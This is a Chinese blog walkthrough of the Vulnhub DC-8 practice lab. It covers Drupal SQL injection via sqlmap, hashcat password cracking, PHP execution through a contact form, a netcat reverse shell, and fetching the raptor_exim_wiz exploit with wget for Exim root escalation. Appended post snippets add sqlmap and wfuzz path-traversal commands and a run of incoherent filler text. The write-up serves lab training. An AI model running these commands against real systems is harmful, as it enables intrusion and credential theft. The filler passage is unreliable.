Vulnhub-DC-8

已于 2024-06-14 14:45:37 修改
阅读量2.3k 收藏 37
点赞数 47
CC 4.0 BY-SA版权
分类专栏： Vulnhub 文章标签： web安全
于 2024-06-13 22:34:56 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45436292/article/details/139652068

靶机IP:192.168.20.143
kaliIP:192.168.20.128
网络有问题的可以看下搭建Vulnhub靶机网络问题(获取不到IP)

信息收集

用nmap和wappalyzer收集下信息
在这里插入图片描述
在这里插入图片描述
发现是Drupal 7网站
dirsearch扫下目录

┌──(root㉿kali)-[/home/kali/Desktop]
└─# dirsearch -u http://192.168.20.143 -i 200
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                               
 (_||| _) (/_(_|| (_| )                                                                                                                                        
                                                                                                                                                               
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/reports/http_192.168.20.143/_24-06-13_20-02-57.txt

Target: http://192.168.20.143/

[20:02:57] Starting:                                                                                                                                           
[20:04:02] 200 -  769B  - /COPYRIGHT.txt                                    
[20:04:15] 200 -   33KB - /CHANGELOG.txt                                    
[20:04:44] 200 -    1KB - /install.php                                      
[20:04:44] 200 -    1KB - /install.php?profile=default                      
[20:04:44] 200 -  868B  - /INSTALL.mysql.txt
[20:04:47] 200 -  842B  - /INSTALL.pgsql.txt                                
[20:04:50] 200 -    6KB - /INSTALL.txt                                      
[20:04:59] 200 -    7KB - /LICENSE.txt                                      
[20:05:04] 200 -    2KB - /MAINTAINERS.txt                                  
[20:05:22] 200 -    2KB - /node                                             
[20:05:39] 200 -    2KB - /README.txt                                       
[20:05:41] 200 -  744B  - /robots.txt                                       
[20:05:47] 200 -  129B  - /sites/all/libraries/README.txt                   
[20:05:47] 200 -  715B  - /sites/all/modules/README.txt                     
[20:05:47] 200 -    0B  - /sites/example.sites.php
[20:05:47] 200 -  545B  - /sites/all/themes/README.txt                      
[20:05:47] 200 -  431B  - /sites/README.txt                                 
[20:05:58] 200 -    3KB - /UPGRADE.txt                                      
[20:05:58] 200 -    2KB - /user/                                            
[20:05:58] 200 -    2KB - /user
[20:05:59] 200 -    2KB - /user/login/                                      
[20:06:02] 200 -  177B  - /views/ajax/autocomplete/user/a                   
[20:06:04] 200 -    2KB - /web.config                                       
[20:06:08] 200 -   42B  - /xmlrpc.php                                       
                                                                             
Task Completed

看到了网站登录路径/user/login

我们再拿扫描器一下网站
droopescan支持多个不同的CMS，例如WordPress，Joomla，Drupal，Moodle等。
在这里插入图片描述
发现drupal版本为7.67

最后是在网页中找到了SQL注入点，注入点在nid处
在这里插入图片描述
看下是否存在SQL注入，并且是数字类型还是字符类型注入
输入and 1=2发现页面Welcome to DC-8消失
在这里插入图片描述
之后order by猜解列数，发现为1
再观察显位
在这里插入图片描述
确定这存在SQL注入之后就可以丢给sqlmap跑了

漏洞利用

sqlmap -u "http://192.168.20.143/?nid=1" -p "nid" --dbs

在这里插入图片描述

sqlmap -u "http://192.168.20.143/?nid=1" -p "nid" --tables -D d7db

在这里插入图片描述

sqlmap -u "http://192.168.20.143/?nid=1" -p "nid" --columns -T users -D d7db

在这里插入图片描述

sqlmap -u "http://192.168.20.143/?nid=1" -p "nid" --dump -C name,pass -T users -D d7db

在这里插入图片描述
之后用hashcat爆破下密码，

┌──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─# hashcat -h | grep Drupal
   7900 | Drupal7                                                    | Forums, CMS, E-Commerce
                                                                                                                                                                                  
┌──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─# hashcat -a 0 -m 7900 source.txt /home/kali/Desktop/jwt/rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 14.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, 1425/2914 MB (512 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Uses-64-Bit
* Register-Limit

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /home/kali/Desktop/jwt/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 4 secs

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF:turtle

john爆破也可以
在这里插入图片描述
拿到john的密码turtle
通过信息收集扫到的目录登陆进网站
之后看下网站功能，最后在contact us设置界面，发现可以修改为PHP Code
这里有多种方法去反弹shell，做个总结可解析PHP的反弹shell方法
在这里插入图片描述

填完contact us表单之后，到感谢界面，发现php语句被解析
在这里插入图片描述
用ls测试，可以执行命令
在这里插入图片描述

nc反弹shell
在这里插入图片描述

提权

找找可以提权的

www-data@dc-8:/$ find / -perm -u=s 2>/dev/null
find / -perm -u=s 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount

看下exim版本4.89

www-data@dc-8:/$ exim --version
exim --version
Exim version 4.89 #2 built 14-Jun-2017 05:03:07
Copyright (c) University of Cambridge, 1995 - 2017
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2017
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM DNSSEC Event OCSP PRDR SOCKS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated

再去searchexploit搜一下满足条件的本地权限提升漏洞
在这里插入图片描述
之后去找到EXP
下载，wget下载到靶机/tmp目录执行，这样会报错。
因为脚本是在windows下编译的，我们需要修改一下脚本，加行:set ff=unix,重新上传
在这里插入图片描述
我这还是报错
在这里插入图片描述
最后把EXP复制一下，在kali上自己建一个脚本，上传执行./pass.sh -m netcat

www-data@dc-8:/tmp$ wget http://192.168.20.128:4444/pass.sh
wget http://192.168.20.128:4444/pass.sh
--2024-06-14 00:18:34--  http://192.168.20.128:4444/pass.sh
Connecting to 192.168.20.128:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3584 (3.5K) [text/x-sh]
Saving to: 'pass.sh'

pass.sh             100%[===================>]   3.50K  --.-KB/s    in 0s      

2024-06-14 00:18:34 (530 MB/s) - 'pass.sh' saved [3584/3584]

www-data@dc-8:/tmp$ chmod u+x pass.sh
chmod u+x pass.sh
www-data@dc-8:/tmp$ ./pass.sh -m netcat
./pass.sh -m netcat
./pass.sh: line 49: :set: command not found

raptor_exim_wiz - "The Return of the WIZard" LPE exploit
Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>

Delivering netcat payload...
220 dc-8 ESMTP Exim 4.89 Fri, 14 Jun 2024 00:21:19 +1000
250 dc-8 Hello localhost [::1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1sHlKJ-0001hQ-9b
221 dc-8 closing connection

Waiting 5 seconds...
localhost [127.0.0.1] 31337 (?) open
whoami
whoami
root
find / -name *flag*        
find / -name *flag*
/usr/lib/x86_64-linux-gnu/perl/5.24.1/bits/waitflags.ph
/var/lib/mysql/debian-10.1.flag
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/system/cpu/cpu0/microcode/processor_flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/root/flag.txt
cat /root/flag.txt
cat /root/flag.txt








Brilliant - you have succeeded!!!



888       888          888 888      8888888b.                             888 888 888 888
888   o   888          888 888      888  "Y88b                            888 888 888 888
888  d8b  888          888 888      888    888                            888 888 888 888
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888



Hope you enjoyed DC-8.  Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm also sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

This challenge was largely based on two things:

1. A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile.
2. A suggestion from @theart42

The answer to that question is...

If you enjoyed this CTF, send me a tweet via @DCAU7.

补充

在反弹shell时，如果上传一句话木马用蚁剑连接，连接失败是因为没有cookie，蚁剑去链接页面返回的是403.
在这里插入图片描述

还有就是需要在php代码前面加些文字，才不报错。不知道为啥
在这里插入图片描述
如果要用蚁剑连接的话，需要先存下john的cookie。
蚁剑浏览网页，登录john账号之后点击保存，cookie保存成功。之后就可以连接成功啦。
在这里插入图片描述

报错解决：RequestsDependencyWarning: urllib3 (1.24.3) or chardet (3.0.4) doesn't match a supported versio
个人博客
01-13 1万+
此文首发于我的个人博客：报错解决 RequestsDependencyWarning urllib3 (1.24.3) or chardet (3.0.4) doesn’t match a supported version! — zhang0peter的个人博客 下午在用Python的requests库跑爬虫时遇到报错： /usr/lib/python3/dist-packages/reque...
【网络安全 | 渗透工具】Dirsearch安装使用教程详析
热门推荐
等风来
08-24 3万+
Dirsearch 是一个用于探测Web服务器上的隐藏目录和文件的工具。它通过发送HTTP请求来尝试访问可能存在的路径，从而找到不列在网站目录页面上的隐藏资源。Dirsearch 的主要特点包括：多线程：Dirsearch 采用多线程方式进行目录扫描，充分利用系统资源提高扫描效率。字典支持：它支持使用自定义字典文件来进行目录爆破，你可以使用自己的字典文件或使用内置的常用字典。（注：字典必须是文本文件）支持多种形式的网页（asp，php）支持HTTP代理启发式检测无效的网页。
DC-3靶机渗透详细流程
braty_的博客
01-24 1114
DC-3 靶机渗透详细流程
Python -- 安装路径 /usr/local/lib/python3/dist-packages 与 /usr/lib/python3/dist-packages 的区别
支棱起来
05-13 2万+
在执行 python3 setup.py install 之后，相关的软件会被安装到 /usr/local/lib/python3.5/dist-packages/ 目录下。这个路径主要放置的就是 python 安装的第三方安装包 需要注意的是，只有用系统自带的 python，安装路径才会是 /usr/local/lib/python3.5/dist-packages/ 在新环境无需重新编译，只需将相关的文件从 /usr/local/lib/python3.5/dist-packages/ 目录原封不动
Vulnstack红日安全内网域渗透靶场1实战
2301_79316009的博客
08-21 674
Win7 虚拟机相当于网关服务器，所以需要两张网卡，故需要配置两个网络适配器（网卡）Win7 的网络适配器 1 设置成自定义（ VMnet1 仅主机模式），网络适配器 2 设置成 NAT 模式。既然有robots.txt，直接进去，看到“被保护的”protected 目录，再结合已经知道一个yxcms/data。监听器需要新建一个SMB监听器这里命名”SMB“，对端连接的隧道选择system权限的。改好之后，要去“网络连接”里面看一下，要保持一致，不一样的话就刷新。内网ip：192.168.52.141。
Vulnhub - DC-1
qq_46081990的博客
03-14 521
Nmap扫描目标主机，发现开放22、80、111、40884端口，分别运行OpenSSH 6.0p1、Apache httpd 2.2.22、rpcbind 2-4服务。MSF搜索Drupal，使用payload：exploit/unix/webapp/drupal_drupalgeddon2，成功拿到Web权限www-data。查询GTFOBins得知find的SUID提权方式如下，启用一个新的root权限的bash。上传综合辅助探测脚本LinEnum.sh至目标主机/tmp目录下，给予执行权限执行。
Vulnhub-DC 7-9 提权、端口敲门
2301_80115097的博客
04-28 1267
Vulnhub是一个提供了很多漏洞环境的靶场平台，其中的环境基本上都是做好的虚拟机镜像文件，需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标，大多是Boot2root，从启动虚拟机到获取操作系统的root权限和查看flag。靶场部署Vulnhub官网：https://www.vulnhub.com下载地址：https://www.vulnhub.com/entry/dc-8,367/直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本)；
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
靶机渗透-Vulnhub-DC-2
dahege666的博客
01-21 443
下载地址： 1、链接：https://pan.baidu.com/s/1cl5-9SrevaFehfS4lY4w5w 提取码：7ahw 2、http://www.five86.com/downloads/DC-2.zip 3、https://download.vulnhub.com/dc/DC-2.zip 靶机：DC2（VMware桥接） IP：192.168.88.123 攻击机：Kali（VMware桥接） IP：192.168..88.109 测试之前需要修改一下hos...
vulnhub靶场-DC-1-详解
chinese_cabbage0的博客
12-02 1215
DC-1的解析 思路
多python3版本出现Requirement already satisfied: lhsmdu in /usr/local/lib/python3.8/dist-package
Harajukuuuu的博客
07-21 1042
CADA
python报警告--DeprecationWarning
lzw17750614592的博客
12-17 3291
#使用sklearn.cross_validation里的train_test_split模块用于分割数据 使用上述导入时，出现DeprecationWarning警告的类型错误： 该类型的警告大多属于版本更新时，所使用的方法过时的原因，可以在该方法的说明处查找替换的方法 DeprecationWarning: This module was deprecated in version ...
红队渗透靶机:LEMONSQUEEZY: 1
分享
02-01 777
红队渗透靶机:LEMONSQUEEZY: 1。。phpmyadmin写马+crontab计划任务提权！挺简单！
Hack The Box-Codify(3)，附相关架构及资料
m0_60607371的博客
04-07 425
把dns写入host文件内！这样我们就可以通过域名访问web主页了！
红队打靶练习:BREACH: 1
分享
01-11 612
红队打靶练习:BREACH: 1。信息收集决定成败！
[HackMyVM]靶场 Run
qq_34942239的博客
03-07 764
创建.gitea/workflows目录并写入一个反弹shell的yaml文件。然后用dev/developer88登录gitea。6.2.0-20-generic搜索知道有个CVE。运行actions需要运行器，下载一个运行器。然后在setting里面开启action。在设置添加runner里面获取token。之前开的监听端口也是返回了shell。密码是developer88。ip地址就是instance。不过目前还在docker里面。不过在历史文件里面可以看到。打开是一个gitea服务。
在Kali Linux中部署dirsearch：从权限与GPG密钥问题到成功安装的深度实践
最新发布
Flying_Fish_roe的博客
09-29 1195
摘要： 在Kali Linux 2024.2中安装dirsearch工具时，因权限不足和GPG密钥缺失导致安装失败。分析发现，普通用户无法直接操作系统级目录（如/var/lib/apt/），需通过sudo提权执行apt update。随后因Kali软件源GPG公钥未验证（NO_PUBKEY错误），需手动从Ubuntu密钥服务器导入公钥（apt-key adv命令）。修复后成功更新软件源，为后续安装dirsearch奠定基础。此案例揭示了Linux包管理的安全机制（权限分离、GPG验证）及故障排查逻辑。
dirsearch的使用及一些报错
m0_71102905的博客
10-17 3193
dirsearch是一个用 Python 编写的多线程目录和文件扫描工具，广泛用于网站渗透测试中，以发现隐藏的目录和文件。
python打包自写库报错: SetuptoolsDeprecationWarning: setup.py install is deprecated
weixin_44539199的博客
11-27 1763
相关文档链接：https://packaging.python.org/en/latest/discussions/setup-py-deprecated/较新版本python安装的库已经没法正常使用原有的setuptools指令。同样build时可选配置项。
vulnhub dc-4
03-23
### 关于 VulnHub 上的 DC-4 虚拟机镜像 VulnHub 是一个提供各种渗透测试练习环境的平台，其中 DC 系列是非常受欢迎的一组靶场。对于 DC-4 的具体下载和操作指南，虽然当前未有直接提及 DC-4 的引用内容，但可以基于已知的信息推测其可能涉及的内容。 #### 下载地址 通常情况下，VulnHub 提供的虚拟机镜像可以通过访问官网并搜索对应的名称来获取。例如，在浏览器中输入 `https://www.vulnhub.com` 并搜索关键词 **DC-4** 即可找到该靶场的相关描述以及下载链接[^1]。 需要注意的是，正如引用所提到的内容一样，下载和使用这些虚拟机时需注意责任声明：通过下载此虚拟机，使用者接受因意外造成的任何损害的责任[^4]。 #### Walkthrough 概述 尽管没有针对 DC-4 的特定引用，但从其他 DC 靶场的经验来看，常见的攻击路径包括但不限于以下几个方面： 1. **端口扫描** 发现目标主机开放的服务及其版本信息是第一步。例如，引用提到了某台机器上运行着 SSH (22) 和 HTTP (80)[^3]。这表明初始阶段应执行全面的网络侦察工作以识别潜在入口点。 2. **Web 应用程序漏洞利用** 如果存在 Web 登录界面，则尝试寻找注入点或其他安全缺陷成为关键环节之一。比如 SQL 注入工具 sqlmap 可用于自动化检测数据库层面上的安全隐患[^5]: ```bash sqlmap -u "http://<target>/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] ``` 3. **文件上传或目录遍历** 利用不当配置实现远程代码执行也是常见手法之一。如 wfuzz 工具可以帮助枚举敏感文件位置[^2]: ```bash wfuzz --hl 50 -b "PHPSESSID=<session_id>" -w /usr/share/wfuzz/wordlist/general/common.txt http://<target>/manage.php?FUZZ=../../../../../../../../../etc/passwd ``` 4. **权限提升** 成功获得低级 shell 后还需进一步探索如何升级至更高权限状态。此时可能会涉及到本地提权技术的应用场景分析。 ```python import requests def check_web_vulnerability(url): try: response = requests.get(url) if 'vulnerable' in response.text.lower(): print(f"[+] Potential vulnerability detected at {url}") else: print("[!] No obvious vulnerabilities found.") except Exception as e: print(f"[!] Error occurred: {e}") check_web_vulnerability('http://example.com') ``` 上述脚本仅为示例用途展示基本功能逻辑框架结构设计思路方法论探讨交流学习参考资料分享传播正能量促进共同进步成长成才之路越走越宽广美好未来值得期待憧憬向往追求梦想成就辉煌人生价值意义非凡重要无比珍贵难得机遇挑战自我突破极限再创佳绩续写传奇篇章留下永恒记忆铭刻历史丰碑树立行业标杆引领时代潮流风尚前沿科技趋势洞察先机抢占制高点掌控全局主动权赢得最终胜利荣光加冕王者归来笑傲江湖纵横捭阖挥洒自如游刃有余得心应手驾轻就熟熟能生巧百炼成钢千锤百炼精益求精臻于完美极致境界登峰造极无懈可击无可挑剔堪称典范模版样板工程示范作用显著影响深远广泛流传久远世代相传薪火相继生生不息绵延不断永葆青春活力焕发勃勃生机盎然春意浓烈热烈欢迎加入我们共创辉煌明天！
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值